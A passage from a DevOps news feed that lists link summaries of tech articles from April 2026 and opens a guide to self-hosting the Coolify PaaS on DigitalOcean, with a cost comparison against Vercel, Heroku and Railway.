        </h3><p>As per Gartner®, “AI spending will grow by 44% in 2026, driven by the demand to build out AI infrastructure and the vendor race to reach customers.”1 Yet 38% of businesses report struggling to achieve</p>
<p><strong>📅 Apr 2, 2026</strong> • <strong>📰 Kubecost Blog</strong></p>
<p><a href="https://www.apptio.com/blog/new-tech-same-rules-cloud-lessons-for-an-ai-advantage/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-the-glue-problem-in-modern-ai-development" class="group relative scroll-mt-24">
        <a href="#h3-the-glue-problem-in-modern-ai-development" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 The Glue Problem in Modern AI Development
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-the-glue-problem-in-modern-ai-development"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>AI is now central to modern software development. Teams across industries are turning to AI to solve product and workflow problems in software. But building production systems is still complex. The ha</p>
<p><strong>📅 Apr 2, 2026</strong> • <strong>📰 DigitalOcean Blog</strong></p>
<p><a href="https://www.digitalocean.com/blog/glue-problem-ai-development"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-introducing-gemma-4-on-google-cloud-our-most-capable-open-models-yet" class="group relative scroll-mt-24">
        <a href="#h3-introducing-gemma-4-on-google-cloud-our-most-capable-open-models-yet" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Introducing Gemma 4 on Google Cloud: Our most capable open models yet
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-introducing-gemma-4-on-google-cloud-our-most-capable-open-models-yet"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Today, we are releasing Gemma 4 on Google Cloud. What’s new: It is, byte for byte, the most capable family of open models. Built from the same research as Gemini 3 and released under a commercially pe</p>
<p><strong>📅 Apr 2, 2026</strong> • <strong>📰 Google Cloud Blog</strong></p>
<p><a href="https://cloud.google.com/blog/products/ai-machine-learning/gemma-4-available-on-google-cloud/"><strong>🔗 Read more</strong></a></p>
<hr>
<h2 id="h2-misc" class="group relative scroll-mt-24">
        <a href="#h2-misc" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📰 Misc
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-misc"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-visual-studio-code-1115" class="group relative scroll-mt-24">
        <a href="#h3-visual-studio-code-1115" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Visual Studio Code 1.115
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-visual-studio-code-1115"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Learn what&#39;s new in Visual Studio Code 1.115 (Insiders) Read the full article</p>
<p><strong>📅 Apr 8, 2026</strong> • <strong>📰 VS Code Blog</strong></p>
<p><a href="https://code.visualstudio.com/updates/v1_115"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-is-your-ai-agent-secure-the-devops-case-for-adversarial-qa-testing" class="group relative scroll-mt-24">
        <a href="#h3-is-your-ai-agent-secure-the-devops-case-for-adversarial-qa-testing" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Is Your AI Agent Secure? The DevOps Case for Adversarial QA Testing
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-is-your-ai-agent-secure-the-devops-case-for-adversarial-qa-testing"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Adversarial QA testing helps validate AI agents under real-world conditions, exposing risks like prompt injection and logic failures.</p>
<p><strong>📅 Apr 6, 2026</strong> • <strong>📰 DevOps.com</strong></p>
<p><a href="https://devops.com/is-your-ai-agent-secure-the-devops-case-for-adversarial-qa-testing/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-cursors-2-billion-bet-the-ide-is-now-a-fallback-not-the-default" class="group relative scroll-mt-24">
        <a href="#h3-cursors-2-billion-bet-the-ide-is-now-a-fallback-not-the-default" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Cursor’s $2 billion bet: The IDE is now a fallback, not the default
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-cursors-2-billion-bet-the-ide-is-now-a-fallback-not-the-default"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Last week, the AI code editor with the fastest revenue growth in the category shipped a product that is not The post Cursor’s $2 billion bet: The IDE is now a fallback, not the default appeared first </p>
<p><strong>📅 Apr 5, 2026</strong> • <strong>📰 The New Stack</strong></p>
<p><a href="https://thenewstack.io/cursor-3-demotes-ide/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-vultr-says-its-nvidia-powered-ai-infrastructure-costs-50-to-90-less-than-hyperscalers" class="group relative scroll-mt-24">
        <a href="#h3-vultr-says-its-nvidia-powered-ai-infrastructure-costs-50-to-90-less-than-hyperscalers" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Vultr says its Nvidia-powered AI infrastructure costs 50% to 90% less than hyperscalers
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-vultr-says-its-nvidia-powered-ai-infrastructure-costs-50-to-90-less-than-hyperscalers"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Vultr is using Nvidia GPUs and AI agents like OpenClaw to automate infrastructure setup for developers — and says the The post Vultr says its Nvidia-powered AI infrastructure costs 50% to 90% less tha</p>
<p><strong>📅 Apr 3, 2026</strong> • <strong>📰 The New Stack</strong></p>
<p><a href="https://thenewstack.io/vultr-nvidia-ai-infrastructure/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-rustrover-20261-professional-testing-with-native-cargo-nextest-integration" class="group relative scroll-mt-24">
        <a href="#h3-rustrover-20261-professional-testing-with-native-cargo-nextest-integration" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 RustRover 2026.1: Professional Testing With Native cargo-nextest Integration
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-rustrover-20261-professional-testing-with-native-cargo-nextest-integration"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>In this release, we are focusing even more on improving the everyday developer experience by refining the core workflows and adding native cargo-nextest support directly in the IDE. Running tests in l</p>
<p><strong>📅 Apr 3, 2026</strong> • <strong>📰 JetBrains Blog</strong></p>
<p><a href="https://blog.jetbrains.com/rust/2026/04/03/rustrover-2026-1-professional-testing-with-native-cargo-nextest-integration/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-i-started-to-lose-my-ability-to-code-developers-grapple-with-the-real-cost-of-ai-programming-tools" class="group relative scroll-mt-24">
        <a href="#h3-i-started-to-lose-my-ability-to-code-developers-grapple-with-the-real-cost-of-ai-programming-tools" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 “I started to lose my ability to code”: Developers grapple with the real cost of AI programming tools
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-i-started-to-lose-my-ability-to-code-developers-grapple-with-the-real-cost-of-ai-programming-tools"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Maybe it started in February, when programmer and entrepreneur Paul Ford, 51, wrote a guest essay for The New York The post “I started to lose my ability to code”: Developers grapple with the real cos</p>
<p><strong>📅 Apr 3, 2026</strong> • <strong>📰 The New Stack</strong></p>
<p><a href="https://thenewstack.io/ai-coding-tools-reckoning/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-ubuntu-summit-2604-is-coming-save-the-date-and-share-your-story" class="group relative scroll-mt-24">
        <a href="#h3-ubuntu-summit-2604-is-coming-save-the-date-and-share-your-story" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Ubuntu Summit 26.04 is coming: Save the date and share your story!
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-ubuntu-summit-2604-is-coming-save-the-date-and-share-your-story"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Following the incredible success of Ubuntu Summit 25.10, we are thrilled to announce that Ubuntu Summit 26.04 is officially on the horizon. If you are new to the Ubuntu community, every new release of</p>
<p><strong>📅 Apr 3, 2026</strong> • <strong>📰 Ubuntu Blog</strong></p>
<p><a href="https://ubuntu.com//blog/ubuntu-summit-26-04-is-coming-save-the-date-and-share-your-story"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-ai-wont-replace-developersbut-it-is-changing-how-they-work" class="group relative scroll-mt-24">
        <a href="#h3-ai-wont-replace-developersbut-it-is-changing-how-they-work" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 AI Won’t Replace Developers—But it is Changing How They Work
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-ai-wont-replace-developersbut-it-is-changing-how-they-work"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>AI is reshaping software development by accelerating coding, testing and reviews while reinforcing the need for human judgment and oversight.</p>
<p><strong>📅 Apr 3, 2026</strong> • <strong>📰 DevOps.com</strong></p>
<p><a href="https://devops.com/ai-wont-replace-developers-but-it-is-changing-how-they-work/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-code-like-a-pirate-with-junie-and-goland" class="group relative scroll-mt-24">
        <a href="#h3-code-like-a-pirate-with-junie-and-goland" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Code like a PIRATE with Junie and GoLand
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-code-like-a-pirate-with-junie-and-goland"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>This is a guest post from John Arundel, a Go writer and teacher who runs a free email course for Go learners. His most recent book is The Deeper Love of Go. Ahoy, maties! Cap’n Long John Arundel here </p>
<p><strong>📅 Apr 2, 2026</strong> • <strong>📰 JetBrains Blog</strong></p>
<p><a href="https://blog.jetbrains.com/go/2026/04/02/code-like-a-pirate-with-junie-and-goland/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-which-ai-coding-tools-do-developers-actually-use-at-work" class="group relative scroll-mt-24">
        <a href="#h3-which-ai-coding-tools-do-developers-actually-use-at-work" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Which AI Coding Tools Do Developers Actually Use at Work?
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-which-ai-coding-tools-do-developers-actually-use-at-work"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>The reality beyond the hype, featuring evidence from large-scale, globally representative developer surveys. If you’re like us, you can’t open your LinkedIn or X feed without there being some mention </p>
<p><strong>📅 Apr 2, 2026</strong> • <strong>📰 JetBrains Blog</strong></p>
<p><a href="https://blog.jetbrains.com/research/2026/04/which-ai-coding-tools-do-developers-actually-use-at-work/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-kotlinconf26-speakers-in-conversation-with-lena-reinhard" class="group relative scroll-mt-24">
        <a href="#h3-kotlinconf26-speakers-in-conversation-with-lena-reinhard" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 KotlinConf’26 Speakers: In Conversation With Lena Reinhard
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-kotlinconf26-speakers-in-conversation-with-lena-reinhard"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>“Over the last three to five years, many of the promises that drew people to tech have been called into question.” The tech industry has long promised opportunity, growth, and the chance to build thin</p>
<p><strong>📅 Apr 2, 2026</strong> • <strong>📰 JetBrains Blog</strong></p>
<p><a href="https://blog.jetbrains.com/kotlin/2026/04/kotlinconf-26-speakers-in-conversation-with-lena-reinhard/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-running-llms-dynamically-in-production-on-limited-resources-is-hard-we-think-theres-room-for-another-approach" class="group relative scroll-mt-24">
        <a href="#h3-running-llms-dynamically-in-production-on-limited-resources-is-hard-we-think-theres-room-for-another-approach" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Running LLMs dynamically, in production, on limited resources, is hard. We think there’s room for another approach…
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-running-llms-dynamically-in-production-on-limited-resources-is-hard-we-think-theres-room-for-another-approach"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>The promise of large language models (LLMs) is clear. From code generation to customer support, from document analysis to creative workflows, organizations everywhere are racing to integrate LLMs into</p>
<p><strong>📅 Apr 2, 2026</strong> • <strong>📰 Red Hat Blog</strong></p>
<p><a href="https://www.redhat.com/en/blog/running-llms-dynamically-production-limited-resources-hard-we-think-theres-room-another-approach"><strong>🔗 Read more</strong></a></p>
]]></content:encoded>
    </item>
    <item>
      <title><![CDATA[Coolify: Self-Hosted PaaS on DigitalOcean - Deploy Apps Without Vendor Lock-In]]></title>
      <link>https://devops-daily.com/posts/coolify-self-hosted-paas-digitalocean</link>
      <description><![CDATA[Set up Coolify on a DigitalOcean droplet and get your own Vercel-like platform for deploying Next.js apps, databases, and more - with auto SSL, GitHub auto-deploy, and no per-seat pricing.]]></description>
      <pubDate>Sat, 04 Apr 2026 09:00:00 GMT</pubDate>
      <guid isPermaLink="true">https://devops-daily.com/posts/coolify-self-hosted-paas-digitalocean</guid>
      <category><![CDATA[DevOps]]></category>
      <author><![CDATA[DevOps Daily Team]]></author>
      <category><![CDATA[DevOps]]></category><category><![CDATA[Cloud]]></category><category><![CDATA[Docker]]></category><category><![CDATA[Self-Hosted]]></category><category><![CDATA[Deployment]]></category><category><![CDATA[DigitalOcean]]></category>
      <content:encoded><![CDATA[<p>Managed platforms like Vercel, Heroku, and Netlify make deployment easy. But once your project grows, the bills grow faster. A Next.js app that costs $0 on the hobby tier suddenly costs $20/seat/month when you add a teammate. A database that was free at 500MB now costs $25/month. You end up paying $100-300/month for infrastructure you could run on a $24 VPS.</p>
<p>Coolify is an open-source, self-hosted platform-as-a-service that gives you the same deploy-on-push experience, but on your own server. You get automatic SSL, GitHub integration, one-click databases, a web dashboard, and zero vendor lock-in. This guide walks you through setting it up on DigitalOcean and deploying your first app.</p>
<h2 id="h2-tldr" class="group relative scroll-mt-24">
        <a href="#h2-tldr" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          TLDR
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-tldr"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><ul>
<li>Coolify is a self-hosted alternative to Vercel/Heroku/Netlify</li>
<li>Install it on a VPS with a single command</li>
<li>Get auto SSL, GitHub auto-deploy, built-in databases, reverse proxy</li>
<li>Manage multiple apps from one dashboard</li>
<li>Cost: just the VPS ($24-48/month for a capable server vs $100-300+ on managed platforms)</li>
</ul>
<h2 id="h2-prerequisites" class="group relative scroll-mt-24">
        <a href="#h2-prerequisites" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Prerequisites
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-prerequisites"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><ul>
<li>A <a href="https://m.do.co/c/2a9bba940f39">DigitalOcean account</a> (use this link for $200 free credit)</li>
<li>A domain name pointed to your server</li>
<li>Basic familiarity with SSH and the command line</li>
<li>A GitHub account with repositories you want to deploy</li>
</ul>
<h2 id="h2-what-is-coolify" class="group relative scroll-mt-24">
        <a href="#h2-what-is-coolify" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          What is Coolify?
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-what-is-coolify"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p><strong>Coolify</strong> is an open-source PaaS built on Docker. Think of it as a self-hosted Vercel that runs on any VPS. It handles:</p>
<ul>
<li><strong>Deployments</strong> - Push to GitHub, your app deploys automatically</li>
<li><strong>SSL certificates</strong> - Let&#39;s Encrypt certificates provisioned and renewed automatically via Traefik</li>
<li><strong>Reverse proxy</strong> - Traefik routes traffic to the right container based on domain</li>
<li><strong>Databases</strong> - One-click PostgreSQL, MySQL, MariaDB, MongoDB, Redis</li>
<li><strong>Monitoring</strong> - Basic health checks, logs, and resource usage</li>
<li><strong>Backups</strong> - Scheduled database backups to S3-compatible storage</li>
</ul>
<p>You get a web dashboard that looks and works like a managed platform, but everything runs on hardware you control.</p>
<h2 id="h2-coolify-vs-managed-platforms" class="group relative scroll-mt-24">
        <a href="#h2-coolify-vs-managed-platforms" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Coolify vs Managed Platforms
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-coolify-vs-managed-platforms"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Here is a realistic cost comparison for a team running 3 apps with a database:</p>
<table>
<thead>
<tr>
<th></th>
<th>Vercel</th>
<th>Heroku</th>
<th>Railway</th>
<th>Coolify on DO</th>
</tr>
</thead>
<tbody><tr>
<td>3 apps</td>
<td>$60/mo (Pro)</td>
<td>$75/mo (3 dynos)</td>
<td>~$15-45/mo</td>
<td>$0 (included)</td>
</tr>
<tr>
<td>PostgreSQL</td>
<td>$25/mo (Neon)</td>
<td>$25/mo (Mini)</td>
<td>~$10/mo</td>
<td>$0 (self-hosted)</td>
</tr>
<tr>
<td>Redis</td>
<td>$10/mo</td>
<td>$15/mo</td>
<td>~$5/mo</td>
<td>$0 (self-hosted)</td>
</tr>
<tr>
<td>SSL</td>
<td>Included</td>
<td>Included</td>
<td>Included</td>
<td>Included (Traefik)</td>
</tr>
<tr>
<td>Team seats</td>
<td>$20/seat</td>
<td>$0</td>
<td>$0</td>
<td>$0</td>
</tr>
<tr>
<td><strong>Total (2 devs)</strong></td>
<td><strong>$135/mo</strong></td>
<td><strong>$115/mo</strong></td>
<td><strong>$30-60/mo</strong></td>
<td><strong>$24-48/mo</strong></td>
</tr>
</tbody></table>
